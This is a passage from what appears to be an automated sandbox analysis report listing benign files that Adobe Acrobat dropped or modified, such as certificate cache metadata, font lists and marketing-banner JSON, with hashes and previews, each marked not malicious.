Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7647458239154146
Encrypted:	false
SSDEEP:	3:kkFklH+SAstfllXlE/HT8knu1NNX8RolJuRdxLlGB9lQRYwpDdt:kKhGeT8IaNMa8RdWBwRd
MD5:	66B32711DC2620CA19418A356E4243E2
SHA1:	FBEEFD91CA2E7851B41ADDA41799A68E7CDDBE0A
SHA-256:	6B278BB8E2E99EE6A901308ACD99BD5031E45DF9099F93CE8C94BA868F104566
SHA-512:	E23619A44C0E2F0B5E1D2BCAD1F4C5006DCD6F9FEEDA8C2650EDDDE43A0B5C053DB1A079C281B3221F17778FC2B2C2E5C9E27AC74CCFCEE194749FFF1B61212E
Malicious:	false
Preview:	p...... ..........w{dc..(....................................................... ..........W....sE..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2131903124208097
Encrypted:	false
SSDEEP:	6:kKjQPL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:LQPiDImsLNkPlE99SNxAhUe/3
MD5:	BF5B1C5BBA395449ECE5F8BA59EC6553
SHA1:	5AB37EDB4726EFFDB50DA339F8FF905D4495EE1E
SHA-256:	96ACC4895F4026489659E535155897DC592970E6A8B443B431CECEC93811A74A
SHA-512:	889EF73FB45CB6DBB9B5921954E8BA2D0ED7C74DE87815093814AEF273213B8D6E28223EC11C56EE5897FD6311EE3D2CC64B8F12DC9E26F471FF6EFF75BC1151
Malicious:	false
Preview:	p...... ..........U.dc..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5788

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5788

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.341285890058542
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBgbmxCHx+FIbRI6XVW7+0Y3WDoAvJM3g98kUwPeUkwRe9:YvXKXB7C0YpW7/sGMbLUkee9
MD5:	2DE876FC4E7608DAFE26A01D91E87E5B
SHA1:	40959F0AD09512711CD7393E0752F692E6B39956
SHA-256:	3E392AC348E8B5229FB016B3441BF6F6B34C7D0B7D4433A8CFB67C83C01BC9CF
SHA-512:	BF4DE7D604967676C0E0F5FDADBA91CEE9EA1304D0D138A429A980923B3F209E42382C3C6F606FBC47E224FE4DD024DE32BF635414BF979056759C821EA1D681
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60cd62d6-09f2-4468-8c46-b9447be8180b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736694677104,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.281866559027647
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBgbmxCHx+FIbRI6XVW7+0Y3WDoAvJfBoTfXpnrPeUkwRe9:YvXKXB7C0YpW7/sGWTfXcUkee9
MD5:	7E3EC557C4ADBD89A85A082EC40CD85D
SHA1:	5E6D09D7C3625012FCFEB0794CBF8ABD0107E22F
SHA-256:	78D137319B42EDCFE87CC6327FB1318301093C97D4AE9C831FFD45F7E26E83F0
SHA-512:	51FB071501FDBF22297FE2C5C9A7526ADA9847A3E4879F8A430175FE398787C67992268311E25F1FC4F04920B1596EB91C93C5E723CC9A1EF7B5461F056EF113
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60cd62d6-09f2-4468-8c46-b9447be8180b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736694677104,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.260126054385454
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBgbmxCHx+FIbRI6XVW7+0Y3WDoAvJfBD2G6UpnrPeUkwRe9:YvXKXB7C0YpW7/sGR22cUkee9
MD5:	7B6C6566C9F595DDE8774FF230F46A3E
SHA1:	816FEF447AB86AA4B128A6EA2B02368FABC7EBA4
SHA-256:	598534A01A25A7DB68C272689F15357E24AAEEC059CF35DF79604FD26C0519BE
SHA-512:	4FDDE2556096D8C11BE503FD9F2AE50459316D6F480C04AB54FE91361CC0CFE74BD69E52E9C7F43ED9484209939B0827C2584AAB9AB5751A8B45EF8323549E76
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60cd62d6-09f2-4468-8c46-b9447be8180b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736694677104,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.319404118720945
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBgbmxCHx+FIbRI6XVW7+0Y3WDoAvJfPmwrPeUkwRe9:YvXKXB7C0YpW7/sGH56Ukee9
MD5:	46B00B066DECCD33DB5D7ECAFE1AA50B
SHA1:	71169FAF3B39187FE1C0E40BDB731C2A2B9E1612
SHA-256:	BA30CE5BAF3753DD84F611BB817325C8B26098B0BFE071F47CCD9209F0F6759D
SHA-512:	601076E7277BE466278DB5B0477CE0F421B3CACC4D5384C74F04A02F57A06451D2E6F33AD1DDF75C8C0FE3FC6DF1FF5225573AEFB53F1C7317CC817647448A6C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60cd62d6-09f2-4468-8c46-b9447be8180b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736694677104,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690243071736724
Encrypted:	false
SSDEEP:	24:Yv6XBciRpLgE9cQx8LennAvzBvkn0RCmK8czOCCSD:YvEjRhgy6SAFv5Ah8cv/D
MD5:	416666A9353A8870935E6C1F0E3FDED3
SHA1:	A4DFA7200AB8FF949B7F16FDFBA3B6FF71146C2E
SHA-256:	8E76CEE725D33E7498B4076201BFEA8AFAB92428D4271174890F3154360F2D1F
SHA-512:	BC6C3A89619581706090CABEE9BCF108E8988BFDCAAC0EC85AB7C306EE1B3C112D4587E3308DFC8EEF9472B914C32492FD6CAC1003F40172C0D2A4534FEFF661
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60cd62d6-09f2-4468-8c46-b9447be8180b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736694677104,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2660446855554115
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBgbmxCHx+FIbRI6XVW7+0Y3WDoAvJf8dPeUkwRe9:YvXKXB7C0YpW7/sGU8Ukee9
MD5:	3E3AA83645EF849D60B8A65F409767A1
SHA1:	7F36E058493406B3241279566359DDCBC00C0AA6
SHA-256:	4F8CCE0501D165BAE1928E49A2241E6E38E6789A39B8237060AFD3C5F3033E75
SHA-512:	112FC9914CCAF4E9A7D37A7BB9EDF37C477804F8ECF0A55411DF113CEE3B61163008360E62804AAB42B422CE610B47ED63DD5173116F5F4DF2EA4C234903DEAF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60cd62d6-09f2-4468-8c46-b9447be8180b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736694677104,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.267019116106377
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBgbmxCHx+FIbRI6XVW7+0Y3WDoAvJfQ1rPeUkwRe9:YvXKXB7C0YpW7/sGY16Ukee9
MD5:	46B66CA03AC7BA18046A1F0A66950AE3
SHA1:	588E53AE96A7CC42D7F49828E9845E60C2A3E60E
SHA-256:	B48D6A6DF933C395B6AEF0A9F448229B7D318AA99B87274C4E62857DE7C4DEE1
SHA-512:	C6BF5BA71815C315AEF0F9F2E97F24A8177DE0E0B3405CD4F439F8A39779606784C0A26B640B5832CDAFA5E4A98CCF76678DA43C27837FEC4DAB819352FBAEBE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60cd62d6-09f2-4468-8c46-b9447be8180b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736694677104,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.286561744743284
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBgbmxCHx+FIbRI6XVW7+0Y3WDoAvJfFldPeUkwRe9:YvXKXB7C0YpW7/sGz8Ukee9
MD5:	B26981299D14A5C605991CF29103F7C2
SHA1:	4F59EBA4EFB59926DEEB4BA706BB3F5FE81A0AE5
SHA-256:	3BFF93989E174FDBC46B971098A3DFFB94A563D1DF219E37D81BDE4D79B4E94B
SHA-512:	A140B74217ACF1925CF952B0C7D27A298142F47FAAC7B0A8F048F8194539F92241B8EDFF0DFE42A91C999006DB28DB35740BB3482FDF0F5D3C7FEFDF4861FA05
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60cd62d6-09f2-4468-8c46-b9447be8180b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736694677104,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.294783275778989
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBgbmxCHx+FIbRI6XVW7+0Y3WDoAvJfzdPeUkwRe9:YvXKXB7C0YpW7/sGb8Ukee9
MD5:	14598410946D54F5E3ECFC025748F304
SHA1:	8A16DFCCF6AB5D43E34328D87EF314956F7B6821
SHA-256:	769DBF4F043F17BF5C2E701DD75EBB33C2E1ACF5222C6E0DA08DD0D3CFD40271
SHA-512:	B0E1FA29A5B1521C4CCBE3695F7F6B844064EC947923C1DA6BE027232AF827433C82CE22224CEE1FACF485EBCACBCD8CB7D14EE652A721C9B7D2D5F98B64571A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60cd62d6-09f2-4468-8c46-b9447be8180b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736694677104,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2743106769275165
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBgbmxCHx+FIbRI6XVW7+0Y3WDoAvJfYdPeUkwRe9:YvXKXB7C0YpW7/sGg8Ukee9
MD5:	89D1A98A535E42EF8DAC131A9ABC351D
SHA1:	5452B6AE893748B9DA59B32DAE2969DFD84D3347
SHA-256:	CAE789D57B8B577EF595A1A675D1DF4A7126B57C2B175B51DD26D38A6545EF01
SHA-512:	B862C6ABBE2543E9DDA23FF6C3269B52E67E535305FF56BD5762E63E86BF6D4AE9DF6153AB5A35297A5FA4C610C114D608705B3C5FE2674215AA93E7CDF3D615
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60cd62d6-09f2-4468-8c46-b9447be8180b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736694677104,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2599087729357334
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBgbmxCHx+FIbRI6XVW7+0Y3WDoAvJf+dPeUkwRe9:YvXKXB7C0YpW7/sG28Ukee9
MD5:	E8DE6D3113F72474BDC74CB59BE2E2BD
SHA1:	EF84D243844D3EEA81CA086808C05F90081D5023
SHA-256:	92FBD8341CEF2438C4430B01DBE80C2E6BD810BF4C67A570085E93A7C810C094
SHA-512:	9EB068A1892FEF55139DB260B31587641F012E797013166B909AA269ECD8C14FE7F2D145EAF2838A438E914DE56325FB013FFAF724D5E338AF468C8980AE3919
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60cd62d6-09f2-4468-8c46-b9447be8180b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736694677104,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.258034333522839
Encrypted:	false
